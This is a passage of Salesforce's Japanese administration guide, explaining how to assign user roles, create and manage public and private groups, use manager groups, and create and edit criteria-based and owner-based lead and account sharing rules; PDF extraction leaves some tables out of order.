ユーザにロールを割り当
てる
• 「内部ユーザの管理」

ユーザに特定のロールを簡単に割り当てることができます。
1. [設定] から、[クイック検索] ボックスに「ロール」と入力し、[ロール] を選

択します。
2. 割り当てたいロール名の横にある [割り当て] をクリックします。

メモ: このページには、[ロールのユーザ] 関連リストから [ユーザをロー
ルに割り当て]をクリックしてもアクセスできます。大規模な組織では、
効率化するために SOAP API経由でロールを割り当てることを考慮する必
要があります。

3. ドロップダウンリストから項目を選択して、使用できるユーザを表示しま
す。

4. 左側でユーザを選択し、[追加] をクリックしてユーザにロールを割り当てま
す。

メモ:  [選択済みのユーザ] リストからユーザを削除すると、そのユーザに対
するロールの割り当てが解除されます。

関連トピック:

ユーザロール階層
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ロールの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

ロールを作成または編集
する
• 「ロールの管理」

ロールエントリを構成する項目には特定の目的があります。次の表は、ロール
の各項目の説明とその機能方法を示しています。
項目の表示は、組織の権限および共有設定によって異なります。

説明項目

ユーザが、所有する取引先に関連付け
られた他のユーザのケースにアクセス
できるかどうかを指定します。組織の
ケースに対する共有モデルが「公開/参
照・更新可能」の場合、この項目は表
示されません。

ケースのアクセス権

ユーザが、所有する取引先に関連付け
られた他のユーザの取引先責任者にア
クセスできるかどうかを指定します。
組織の取引先責任者に対する共有モデ
ルが「公開/参照・更新可能」または
「親レコードに連動」の場合、この項
目は表示されません。

取引先責任者のアクセス権

ユーザインターフェースページで、
ロールまたは役職を参照するために使

表示ラベル

用する名前。たとえば、「西日本営業
統括責任者」など。

このロールの詳細を最後に変更した
ユーザの名前とそのロールが変更され
た日時。

更新者

ユーザが、所有する取引先に関連付け
られた他のユーザの商談にアクセスで

商談のアクセス権

きるかどうかを指定します。組織の商
談に対する共有モデルが「公開/参照・
更新可能」の場合、この項目は表示さ
れません。

このロールがパートナー取引先に関連
付けられているかどうかを示します。

パートナーの役割

このオプションは、組織でカスタマー
ポータルまたはパートナーポータルが
有効になっている場合にのみ使用でき
ます。
このチェックボックスがオンの場合、
ロールは編集できません。ポータル取
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説明項目

引先のデフォルトのロール数は 3 です。ロール数を減
らしたり、最大 3 個までロールを追加したりできま
す。

この一意の名前は API および管理パッケージで使用さ
れます。

ロール名

レポートに表示されるロール名。[ロール名] が長い
場合に、ロールの編集時にこの項目に略称を入力でき
ます。

レポートに表示するロール名

これらのグループは自動的に作成されて維持されま
す。「ロール」グループには、このロール内のすべて

共有グループ

のユーザと、このロールの上位のロール内のすべての
ユーザが含まれます。「ロール & 下位ロール」グルー
プには、このロール内のすべてのユーザと、階層でこ
のロールの上位と下位のロール内のすべてのユーザが
含まれます。「ロール & 内部下位ロール」グループ
(組織でカスタマーポータルまたはパートナーポータ
ルが有効な場合のみ使用可能) には、このロール内の
すべてのユーザが含まれます。カスタマーポータル
ユーザとパートナーポータルユーザを除き、このロー
ルの上位と下位のロール内のすべてのユーザも含まれ
ます。

階層でこのロールの上位にあるロール。このロールの上位ロール

関連トピック:

ユーザロール階層
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グループとは?

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

グループは一連のユーザで構成されます。グループには、個々のユーザ、その
他のグループ、または特定のロールやテリトリーのユーザを含めることができ
ます。あるいは、特定のロールやテリトリーのユーザと、階層でそのロールや
テリトリーよりも下位のすべてのユーザを含めることができます。
次の 2 種類のグループがあります。
公開グループ

管理者と代理管理者が公開グループを作成できます。組織内の全員が公開グ
ループを使用できます。たとえば、システム管理者は従業員相乗り通勤プロ
グラムのグループを作成できます。その後、すべての従業員がこのグループ
を使用して、プログラムに関するレコードを共有できます。

非公開グループ
各ユーザが個人で使用するグループを作成できます。たとえば、指定した
ワークグループ内で特定のレコードを常に共有できるようにしておく必要が
生じる場合があります。

グループは、次のような方法で使用できます。
• 共有ルールに基づいたデフォルトの共有アクセスを設定する
• 他のユーザとレコードを共有する
• 他のユーザが所有する取引先責任者の同期を指定する
• Salesforce CRM Content ライブラリに複数のユーザを追加する
• Salesforce ナレッジの特定のアクションにユーザを割り当てる

関連トピック:

グループメンバー種別
グループの作成と編集
[グループ] リストの表示
マネージャグループとのレコードの共有
公開グループに関する考慮事項
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公開グループに関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ数が多い組織の場合、公開グループを作成するときに次のヒントを考慮
してパフォーマンスを最適化してください。
• 数人以上のユーザが同じアクセス権を必要とする場合にグループを作成す

る。
• グループへの参加や離脱を頻繁に行う必要がないメンバーのグループを作成

する。
• グループ内にグループを作成する場合、ネストは 5 レベル以下にする。
• グループ作成時、[階層を使用したアクセス許可] を選択して、公開グループ

のロール階層を使用したレコードへの自動アクセスを有効にする。ただし、
[すべての内部ユーザ] をメンバーとして公開グループを作成している場合は
このオプションを使用しないでください。

関連トピック:

グループとは?

グループメンバー種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

使用できるメンバーの種
別はエディションによっ
て異なります。

ユーザ権限

公開グループを作成また
は編集する
• 「ユーザの管理」

別のユーザの非公開グ
ループを作成または編集
する
• 「ユーザの管理」

各種の内部および外部ユーザがさまざまなグループ種別を使用できます。
グループを作成または編集するときに、[検索]ドロップダウンリストから次の
メンバー種別を選択できます。組織の設定によっては使用できない種別もあり
ます。

説明メンバー種別

すべてのカスタマーポータルユーザ。
これは、組織でカスタマーポータルが
有効になっている場合にのみ使用でき
ます。

カスタマーポータルユーザ

すべてのパートナーユーザ。これは、
組織でパートナーポータルが有効に
なっている場合にのみ使用できます。

パートナーユーザ

すべての独自グループ。これは、非公
開グループを作成した場合のみ使用で
きます。

非公開グループ
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説明メンバー種別

組織のパートナーポータル、またはカスタマーポータ
ル向けに定義されたすべてのロール。これには、指定

ポータルロール

されたポータルロール内のすべてのユーザが含まれま
すが、大規模ポータルユーザは除外されます。

メモ: ポータルロールの名前には、そのポータ
ルロールが関連付けられている取引先の名前が
含まれますが、ユーザの[別名]が含まれる個人
取引先は除外されます。

組織のパートナーポータル、またはカスタマーポータ
ル向けに定義されたすべてのロール。これには、指定

ポータルロール & 下位ロール

されたポータルロールのすべてのユーザと、そのポー
タルロール階層で下位のロールのすべてのユーザが含
まれますが、大規模ポータルユーザは除外されます。

メモ: ポータルロールの名前には、そのポータ
ルロールが関連付けられている取引先の名前が
含まれますが、ユーザの[別名]が含まれる個人
取引先は除外されます。

管理者に定義されたすべての公開グループ。公開グループ

組織向けに定義されたすべてのロール。グループへの
ロールの追加には、そのロール内のすべてのユーザが
含まれますが、ポータルロールは含まれません。

ロール

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール & 内部下位ロール

ユーザが含まれます。ポータルロールまたはユーザは
含まれません。

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール & 下位ロール

ユーザが含まれます。これは、組織でポータルが有効
になっていない場合にのみ使用できます。

ロールと下位ロールの追加には、ロール内のすべての
ユーザと、このロールの下位のロール内のすべての

ロール、内部 & ポータル下位ロール

ユーザが含まれます。これは、組織でパートナーまた
はカスタマーポータルが有効になっている場合にのみ
使用できます。ポータルユーザが含まれます。
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説明メンバー種別

組織内でのすべてのユーザ。ポータルユーザは含まれ
ません。

ユーザ

関連トピック:

グループとは?

マネージャグループとのレコードの共有

グループの作成と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開グループを作成また
は編集する
• 「ユーザの管理」

別のユーザの非公開グ
ループを作成または編集
する
• 「ユーザの管理」

公開グループを作成および編集できるのは管理者と代理管理者のみですが、誰
でも自分の非公開グループを作成および編集できます。
グループを作成または編集する手順は、次のとおりです。
1. グループの種類に一致するコントロールをクリックします。

• 非公開グループの場合、[個人設定] に移動して、[私の個人情報]または[個
人用] のいずれか表示された方をクリックします。その後、[私のグルー
プ] をクリックします。ユーザ詳細ページでは [非公開グループ] 関連リス
トも使用できます。

• 公開グループの場合は、[設定] から [クイック検索] ボックスに「公開グ
ループ」と入力し、[公開グループ] を選択します。

2. [新規] をクリックするか、編集するグループの横にある [編集] をクリックし
ます。

3. 次の項目を入力します。

説明項目

ユーザインターフェースページで、グルー
プを参照するために使用する名前です。

表示ラベル

この一意の名前は API および管理パッケージ
で使用されます。

[グループ名]  (公開グループの
み)

[階層を使用したアクセス許可] を選択し、
ロール階層を使用してレコードに自動アク

[階層を使用したアクセス許可]

(公開グループのみ)
セスできるようにします。選択すると、こ
のグループのユーザと共有するすべてのレ
コードは、階層内の上層のユーザとも共有
されます。
[すべての内部ユーザ] をメンバーとして公開
グループを作成する場合は、[階層を使用し
たアクセス許可]を選択解除します。これに
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より、レコードをグループと共有する場合のパフォーマンス
が改善されます。

メモ: [階層を使用したアクセス許可] がオフになってい
る場合、ロール階層で上位のユーザが自動アクセスを許
可されることはありません。ただし、「すべての参照」
や「すべての編集」オブジェクト権限、「すべてのデー
タの参照」や「すべてのデータの編集」システム権限な
どを持っているユーザは、自分が所有していないレコー
ドにもアクセスできます。

[検索] ドロップダウンリストから、追加するメンバーの種別
を選択します。追加するメンバーが見つからない場合は、検
索ボックスにキーワードを入力し、[検索]をクリックします。

検索

メモ: 取引先所有者は、大規模ポータルユーザが所有す
る子レコードを参照するには、ポータルユーザのデータ
に対するアクセス権を持つポータル共有グループのメン
バーでなければなりません。

[共有可能なユーザ] ボックスからメンバーを選択し、[追加]を
クリックすると、そのメンバーがグループに追加されます。

選択済みのユーザ

このリストで、そのメンバーがこの公開グループのメンバー
を追加または削除できる代理管理グループを指定します。[選

選択済みの代理グループ

択可能な代理グループ] ボックスからグループを選択して、[追
加]をクリックします。このリストは公開グループでのみ表示
されます。

4. [保存] をクリックします。

メモ: グループ、ロール、およびテリトリーを編集すると、共有ルールが再評価され、必要に応じてアク
セス権が追加または削除されます。

関連トピック:

グループとは?

656

グループとは?Salesforce 組織の設定および管理



[グループ] リストの表示

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

公開グループを編集する
• 「ユーザの管理」

1. グループの種類に一致するコントロールをクリックします。
• 非公開グループの場合、個人設定で、[私の個人情報]または[個人用]のい

ずれか表示される方をクリックします。その後、[私のグループ]をクリッ
クします。

• 公開グループの場合は、[設定] から [クイック検索] ボックスに「公開グ
ループ」と入力し、[公開グループ] を選択します。

2. グループの詳細ページを表示するには、[グループ] 関連リストでグループ名
をクリックします。
• グループメンバーシップを編集するには、[編集] をクリックします。
• グループを削除するには、[削除] をクリックします。
• 有効なグループメンバーを参照にするには、[グループメンバー] 関連リス

トを表示します。
• ロールまたはテリトリー階層で上位であるために同等のアクセス権を持

つすべてのグループメンバーおよび同ユーザを参照するには、[すべての
ユーザの参照] をクリックして [グループのすべてのユーザ] 関連リストを
表示します。[グループメンバー] 関連リストに戻るには、[グループメン
バーの参照] をクリックします。

関連トピック:

グループとは?

マネージャグループとのレコードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

共有ルールまたは共有の直接設定を使用して、管理チェーンの上位または下位
に移動するレコードを共有します。
ロール階層は、ユーザが組織のデータを参照できるレベルを制御します。Spring

'15 では、ロール階層に基づく同一ロール内のすべてのマネージャの代わりに、
マネージャグループを使用して管理チェーンとレコードを共有できます。マネー
ジャグループは、共有の直接設定または共有ルールなど、他のグループが使用
されているすべての場所で使用できます。ただし、他のグループに追加するこ
とはできず、ポータルユーザを含むことはできません。マネージャグループに
は、標準ユーザおよび Chatter 限定ユーザのみを含めることができます。
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すべてのユーザは、「マネージャのグループ」(1) と「マネージャの下位グループ」(2) の 2 つのマネージャグ
ループを持ちます。(1) にはユーザの直属マネージャと間接マネージャが含まれ、(2) にはユーザ自身とユーザ
の直属部下および間接部下が含まれます。共有ルールの設定ページの [共有] ドロップダウンリストでこれらの
グループを選択できます。
ユーザのマネージャが誰であるかを確認するには、[設定] から、[クイック検索] ボックスに「ユーザ」と入力
し、[ユーザ] を選択します。ユーザの名前をクリックします。ユーザ詳細ページの [マネージャ] 項目にその
ユーザのマネージャが表示されます。
ユーザがマネージャグループとレコードを共有できるようにする手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定] を選択します。
2. [共有設定] ページで [編集] をクリックします。
3. [その他の設定] で、[マネージャのグループ] を選択してから [保存] をクリックします。

メモ: 組織でWork.comを使用している場合、またはマネージャグループを使用する共有ルールがある場合
は、マネージャグループを無効にできません。

マネージャグループでは、共有の直接設定、共有ルール、Apexによる共有管理を介してこれらのグループとレ
コードを共有できます。Apex共有の理由はサポートされていません。Apexによる共有管理では、共有理由 ID、
レコード ID、およびマネージャグループ ID を含めます。詳細は、『Force.com Apexコード開発者ガイド』を参照
してください。
無効ユーザはそのユーザが属するグループ内にそのまま残りますが、関連するすべての共有ルールと共有の直
接設定はグループ内で保持されます。
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メモ: 組織でユーザ共有が有効化されている場合、自分がアクセスできないユーザは表示されません。ま
た、別のユーザへのアクセス権がないクエリ実行ユーザは、そのユーザのグループをクエリできません。

例: 組織の共有設定が「非公開」に設定されたパフォーマンスレビューのカスタムオブジェクトがあると
します。[階層を使用したアクセス許可]チェックボックスをオフにすると、レビューレコードを所有する
従業員のみがそのオブジェクトを表示および編集できます。管理チェーンの上位のレビューを共有する
には、管理者がユーザのマネージャグループと共有する共有ルールを作成します。または、その従業員
が共有の直接設定を使用してユーザのマネージャグループとレビューレコードを共有します。

関連トピック:

共有設定
共有ルール
共有ルールのカテゴリ
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共有ルール
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先、納入商品、およ
び取引先責任者の共有
ルールを使用可能なエ
ディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先テリトリー、ケー
ス、リード、商談、注文
およびカスタムオブジェ
クト共有ルールを使用可
能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

キャンペーン共有ルール
を使用可能なエディショ
ン: Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition。有料オ
プションで使用可能なエ
ディション: Professional
Edition

レコードタイプを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

定義されたユーザセットについて、組織全体の共有設定に自動的な例外を設け
ます。
たとえば、共有ルールを使用して、公開グループ、ロール、またはテリトリー
内のユーザへの共有アクセス権を拡張します。共有ルールは、組織の共有設定
より厳しくすることはできません。特定のユーザにより強いアクセス権を許可
することのみ可能です。
次の種別の共有ルールを作成できます。

デフォルトの共有アクセ
ス権の設定

条件種別

取引先とそれに関連付け
られた契約、商談、ケー
ス、および必要な場合は
取引先責任者と注文

取引先のレコードタイプ
または項目値を含む、取
引先所有者または他の条
件

取引先の共有ルール

取引先とそれに関連付け
られたケース、取引先責
任者、契約、商談

テリトリー割り当て取引先テリトリーの共有
ルール

個々の納入商品レコード納入商品のレコードタイ
プや項目値を含む、納入
商品の所有者または他の
条件

納入商品共有ルール

個々のキャンペーンレ
コード

キャンペーンのレコード
タイプや項目値を含む、
キャンペーンの所有者ま
たは他の条件

キャンペーンの共有ルー
ル

個々のケースおよび関連
付けられた取引先

ケースのレコードタイプ
や項目値を含む、ケース
所有者または他の条件

ケースの共有ルール

個々の取引先責任者およ
び関連付けられた取引先

取引先責任者のレコード
タイプや項目値を含む、
取引先責任者の所有者ま
たは他の条件

取引先責任者の共有ルー
ル

個々のカスタムオブジェ
クトレコード

カスタムオブジェクトの
レコードタイプや項目値
を含む、カスタムオブ

カスタムオブジェクトの
共有ルール

ジェクトの所有者または
他の条件
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デフォルトの共有アクセス権の設
定

条件種別

個々のリードリードのレコードタイプや項目値
を含む、リードの所有者または他
の条件

リードの共有ルール

個々の商談およびそれらに関連付
けられた取引先

商談のレコードタイプや項目値を
含む、商談の所有者または他の条
件

商談の共有ルール

個々の注文注文のレコードタイプまたは項目
値を含む、注文所有者または他の
条件

その他の共有ルール

個人ユーザレコードユーザ名やユーザが有効かどうか
を含む、グループメンバーシップ
または他の条件

ユーザ共有ルール

個人ユーザプロビジョニング要求
レコード

ユーザプロビジョニング要求の所
有者のみ (条件に基づく共有ルール
は使用不可)

ユーザプロビジョニング要求の共
有ルール

個々の作業指示作業指示のレコードタイプまたは
項目値を含む、作業指示の所有者
または他の条件

作業指示の共有ルール

メモ:

• 大規模ポータルユーザにはロールがなく、公開グループに入れることができないため、共有ルールに
含めることはできません。

• 開発者は、他の条件ではなくレコードの所有者に基づいて、Apexを使用してプログラムでカスタムオ
ブジェクトを共有できます。これは、ユーザ共有には適用されません。

関連トピック:

条件に基づく共有ルール
共有ルールの考慮事項
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条件に基づく共有ルール

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

取引先、商談、ケース、
取引先責任者、およびレ
コードタイプは、
Database.com Edition では
利用できません。

条件に基づく共有ルールでは、レコード内の項目値に基づいて、誰とレコード
を共有するかを決定します。たとえば、人事アプリケーション用のカスタムオ
ブジェクトを使用していて、「部署」というカスタム選択リスト項目があると
します。条件に基づく共有ルールにより[部署] 項目が「IT」に設定されているす
べてのジョブアプリケーションを、組織内のすべての IT マネージャ間で共有す
る場合があります。

メモ:

• 条件に基づく共有ルールは、レコードの所有者ではなくレコードの値に
基づいていますが、ロールまたはテリトリーの階層では、これまで通り
階層内の上位のユーザがレコードにアクセスできます。

• 条件に基づく共有ルールの作成に Apex は使用できません。また、Apex

を使用して条件に基づく共有をテストできません。
• API バージョン 24.0 以降、メタデータ API の SharingRules 型を使用して、

条件に基づく共有ルールを作成できます。
• 大規模ポータルユーザにはロールがなく、公開グループに入れることが

できないため、共有ルールに含めることはできません。

条件に基づく共有ルールは、取引先、商談、ケース、取引先責任者、リード、
キャンペーン、およびカスタムオブジェクトに対して作成できます。各オブジェクトに、最大 50 件の条件に
基づく共有ルールを定義できます。
• レコードタイプ
• データ型:

– 自動採番
– チェックボックス
– 日付
– 日付/時間
– メール
– 数値
– パーセント
– 電話
– 選択リスト
– テキスト
– テキストエリア
– URL

– 参照関係 (ユーザ ID またはキュー ID に対して)

メモ:  [テキスト] および [テキストエリア] は大文字小文字を区別します。たとえば、テキスト項目に
「Manager」と指定した条件に基づく共有ルールでは、項目に「manager」があるレコードは共有しませ
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ん。1 つの語で複数の共通の大文字小文字の使用例を持つルールを作成するには、各値をカンマで区切っ
て入力します。

関連トピック:

共有ルール
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共有ルールのカテゴリ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

取引先および取引先責任
者の共有ルールを使用可
能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先テリトリー、ケー
ス、リード、および商談
共有ルールを使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

キャンペーン共有ルール
を使用可能なエディショ
ン: Professional Edition (追
加購入で使用可能)、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

カスタムオブジェクト共
有ルールを使用可能なエ
ディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、および
Database.com Edition

パートナーポータルおよ
びカスタマーポータル
は、Salesforce Classic で使
用できます。

共有ルールを定義するときに、ドロップダウンリスト [所有者の所属] と [共有
先] にある次のカテゴリから選択できます。共有ルールの種別や組織で有効に
なっている機能に応じて、表示されないカテゴリもあります。

メモ: 大規模ポータルユーザにはロールがなく、公開グループに入れるこ
とができないため、共有ルールに含めることはできません。

説明カテゴリ

ユーザのすべての直属マネージャおよび間接マネー
ジャ。

マネージャのグルー
プ

マネージャと、そのマネージャが管理するすべての直
属部下および間接部下。

マネージャの下位グ
ループ

キューに所有されるすべてのレコード。ただし、キュー
の個々のメンバーに所有されるレコードは除きます。
[所有者の所属] リストでのみ使用できます。

キュー

管理者に定義されたすべての公開グループ。
組織でパートナーポータルまたはカスタマーポータル
が有効になっている場合は、[すべてのパートナーユー
ザ] または [すべてのカスタマーポータルユーザ] グルー
プが表示されます。これらのグループには、大規模ポー
タルユーザを除いて、パートナーポータルまたはカス
タマーポータルへのアクセス権を持つすべてのユーザ
が含まれます。

公開グループ

組織向けに定義されたすべてのロール。これには、指
定されたロールのすべてのユーザが含まれます。

ロール

組織のパートナーポータル、またはカスタマーポータ
ル向けに定義されたすべてのロール。これには、指定
されたポータルロール内のすべてのユーザが含まれま
すが、大規模ポータルユーザは除外されます。
ポータルロールの名前には、そのポータルロールが関
連付けられている取引先の名前が含まれますが、ユー
ザの [別名]が含まれる個人取引先は除外されます。

ポータルロール
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説明カテゴリ

組織向けに定義されたすべてのロール。これには、指定されたロールのすべ
てのユーザと、そのロールの下位ロールすべてのユーザが含まれ、ポータル

ロール & 下位ロール

ライセンス種別のユーザを持つパートナーポータルロール、およびカスタ
マーポータルロールなどがあります。
組織でパートナーポータル、またはカスタマーポータルが有効になっている
場合、ポータルロールは、このカテゴリにのみ含まれます。
組織で [ロール、内部 & ポータル下位ロール] データセットカテゴリが利用で
きるようにするには、ロール階層内に少なくとも 1 つのロールを作成してお
く必要があります。

組織のパートナーポータル、またはカスタマーポータル向けに定義されたす
べてのロール。これには、指定されたポータルロールのすべてのユーザと、

ポータルロール & 下位ロール

そのポータルロール階層で下位のロールのすべてのユーザが含まれますが、
大規模ポータルユーザは除外されます。
ポータルロールの名前には、そのポータルロールが関連付けられている取引
先の名前が含まれますが、ユーザの[別名]が含まれる個人取引先は除外され
ます。

組織向けに定義されたすべてのロール。これには、指定されたロール内のす
べてのユーザと、そのロールの下位のロールに属するすべてのユーザが含ま

ロール & 内部下位ロール

れますが、パートナーポータル、およびカスタマーポータルのロールは除外
されます。
このカテゴリは、組織でパートナーポータル、または Salesforce カスタマー
ポータルが有効になっている場合にのみ表示されます。
組織で [ロール & 内部下位ロール] データセットカテゴリが利用できるようす
るには、ロール階層内に少なくとも 1 つのロールを作成し、かつ、ポータル
を有効にしておく必要があります。

組織向けに定義されたすべてのロール。これには、指定されたロール内のす
べてのユーザと、パートナーポータル、およびカスタマーポータルなど、そ
のロールの下位のロールに属するすべてのユーザが含まれます。
このカテゴリは、組織でパートナーポータル、または Salesforce カスタマー
ポータルが有効になっている場合にのみ表示されます。

ロール、内部 & ポータル下位
ロール

組織で [ロール & 内部下位ロール] データセットカテゴリが利用できるようす
るには、ロール階層内に少なくとも 1 つのロールを作成し、かつ、ポータル
を有効にしておく必要があります。

組織向けに定義されたすべてのテリトリー。テリトリー
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説明カテゴリ

組織向けに定義されたすべてのテリトリー。これには、指定されたテリト
リーとその下位のテリトリーが含まれます。

テリトリーおよび下位テリト
リー

関連トピック:

共有ルール
マネージャグループとのレコードの共有

リード共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

リード共有ルールは、レコードタイプや特定の項目値など、レコード所有者ま
たは他の条件に基づきます。最大で300件のリード共有ルールを定義し、条件に
基づく共有ルールを最大で 50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [リード共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. ユーザの共有アクセス設定を選択します。
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説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

10. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

リード共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
1. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
2. [リード共有ルール] 関連リストで、変更するルールの横にある[編集]をクリッ

クします。
3. 必要に応じて、表示ラベルとルール名を変更します。
4. 所有者に基づくルールを選択した場合は、次の手順に進みます。

条件に基づくルールを選択した場合は、共有ルールに含めるためにレコード
が満たす必要がある条件を指定します。使用可能な項目は選択したオブジェ
クトによって異なり、値は数字か文字列にする必要があります。各検索条件
間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件
ロジックを追加...] をクリックします。

5. ユーザの共有アクセス設定を選択します。

説明アクセス権の設定

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新
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6. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先共有ルールの作成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを作成する
• 「共有の管理」

取引先共有ルールは、レコードタイプや特定の項目値など、レコード所有者ま
たは他の条件に基づいて作成できます。最大で300件の取引先共有ルールを定義
し、条件に基づく共有ルールを最大で 50 件含めることができます。
1. 共有ルールに公開グループを含める場合は、適切なグループが作成されてい

ることを確認します。
2. [設定] から、[クイック検索] ボックスに「共有設定」と入力し、[共有設定]

を選択します。
3. [取引先共有ルール] 関連リストで、[新規] をクリックします。
4. [表示ラベル名] と [ルール名] を入力します。表示ラベルは、ユーザインター

フェースに表示される共有ルールのラベルです。ルール名は API および管理
パッケージが使用する一意の名前です。

5. [説明] を入力します。この項目は、共有ルールについて説明します。省略可
能で、1000 文字まで入力できます。

6. ルールタイプを選択します。
7. 選択したルールタイプに応じて、次の手順を実行します。

• レコード所有者に基づく  — [所有者の所属] 行で、レコードを共有するユーザを指定し、最初のドロッ
プダウンリストから [カテゴリ] を選択し、次のドロップダウンリスト (または、組織に 200 を超える
キュー、グループ、ロール、またはテリトリーがある場合は参照項目) からユーザセットを選択します。

• 条件に基づく  — 共有ルールに含めるためにレコードが一致する必要がある [項目]、[演算子]、[値] 条件を
指定します。使用可能な項目は、選択したオブジェクトによって異なり、値は常に数字か文字列です。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加...]

をクリックします。

メモ: 条件に基づく共有ルールでサポートされていない項目を使用するには、ワークフロールール
または Apex トリガを作成してその項目の値をテキスト項目や数値項目にコピーすると、コピー後
の項目を条件として使用できます。

8. [共有先]行では、そのデータへのアクセス権を与えるユーザを指定します。最初のドロップダウンリスト
からカテゴリを選択し、次のドロップダウンリストまたは参照項目からユーザセットを選択します。

9. [デフォルトの取引先、契約、および納入商品のアクセス権] の設定を選択します。
10. 残りの項目で、共有取引先に関連付けられているレコードのアクセス設定を選択します。
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説明アクセス権の設定

この共有ルール以外のアクセス権が許可されていな
い場合、ユーザはレコードの参照や更新はできませ
ん。

非公開
(関連付けられた取引先責任者、商談、およびケース
でのみ使用可能)

レコードを参照することはできますが、更新はでき
ません。

参照のみ

レコードの参照と更新ができます。参照・更新

メモ: [取引先責任者のアクセス権]は、取引先責任者に対する組織の共有設定が [親レコードに連動]に
設定されているときは無効です。

11. [保存] をクリックします。

関連トピック:

共有ルール
共有ルールの考慮事項
共有ルールのカテゴリ

取引先共有ルールの編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

共有ルールを編集する
• 「共有の管理」

所有者に基づく共有ルールの場合は、共有アクセス設定のみを編集できます。
他の条件に基づく共有ルールの場合は、条件と共有アクセス設定を編集できま
す。
